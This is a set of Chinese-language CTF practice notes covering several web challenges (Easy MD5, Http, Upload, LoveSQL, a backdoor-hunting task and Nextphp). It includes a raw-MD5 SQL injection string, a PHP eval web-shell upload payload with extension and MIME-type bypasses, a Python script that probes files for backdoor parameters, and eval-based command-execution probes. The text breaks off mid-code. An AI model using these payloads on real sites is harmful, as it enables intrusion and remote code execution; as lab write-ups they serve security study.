前言(撮合看看吧 因为直接复制的本地 所以图片就没法显示了 有什么不懂的地方可以给我留言哦~ 然后推荐一个公众号:lin先森 求关注)
[BJDCTF2020]Easy MD5
f12
Hint: select * from ‘admin’ where password=md5($pass,true)
ffifdyop
弱类型绕过
数组绕过
[极客大挑战 2019]Http
修改头
[极客大挑战 2019]Upload
文件上传后缀
php,php3,php4,php5,phtml.pht
phtml后缀
GIF89a? <script language="php">eval($_REQUEST[shell])</script>
Content-Type: image/jpeg
[极客大挑战 2019]LoveSQL
easy
sql注入无任何过滤 常规思路
[强网杯 2019]随便注 |未完
[HCTF 2018]WarmUp | 未完
admin
http://cdusec.happyhacking.top/?post=79
os.system(“ls”)
commands.getstatusoutput(“ls”)
grep -r “flag”
[强网杯 2019]高明的黑客
https://mochazz.github.io/2019/05/27/2019%E5%BC%BA%E7%BD%91%E6%9D%AFWeb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/#%E9%AB%98%E6%98%8E%E7%9A%84%E9%BB%91%E5%AE%A2
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IsCSF1jR-1581871513527)(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p2964)]
import os,re
import requests
filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
print(name)
with open('/var/www/html/src/'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))
for ret in result:
try:
command = 'uname'
flag = 'Linux'
# command = 'phpinfo();'
# flag = 'phpinfo'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://127.0.0.1/src/' + name + '?' + passwd + '='+ command)
if flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.post(url='http://127.0.0.1/src/' + name,data={
passwd:command})
if flag in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except : pass
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-woQNwcUl-1581871513529)(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p2965)]
easy_tornado | 未完
[RCTF 2019]Nextphp | 未完
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
尝试使用系统执行发现被禁用,执行phpinfo()发现应该有waf会断开链接,可以在中间加上空格phpinfo ()绕过,然后查看disable_functions发现命令执行都禁用完了(而且无权访问其他目录)
不需要加空格
http://f0ca4e93-3861-4ec5-81f2-1f19a92a56ec.node2.buuoj.cn.wetolink.com:82/?a=phpinfo%20();
http://f0ca4e93-3861-4ec5-81f2-1f19a92a56ec.node2.buuoj.cn.wetolink.com:82/?a=phpinfo();
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fWnlxpIg-1581871513529)(evernotecid://74A3E6DA-E009-4797-AA60-5DEED9FE4F7A/appyinxiangcom/23464203/ENResource/p2977)]
使用print_r(scandir(’./’));发现当前目录还有一个preload.php,使用show_source(‘preload.php’);
http://f0ca4e93-3861-4ec5-81f2-1f19a92a56ec.node2.buuoj.cn.wetolink.com:82/?a=show_source(%22preload.php%22);
preload.php
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize(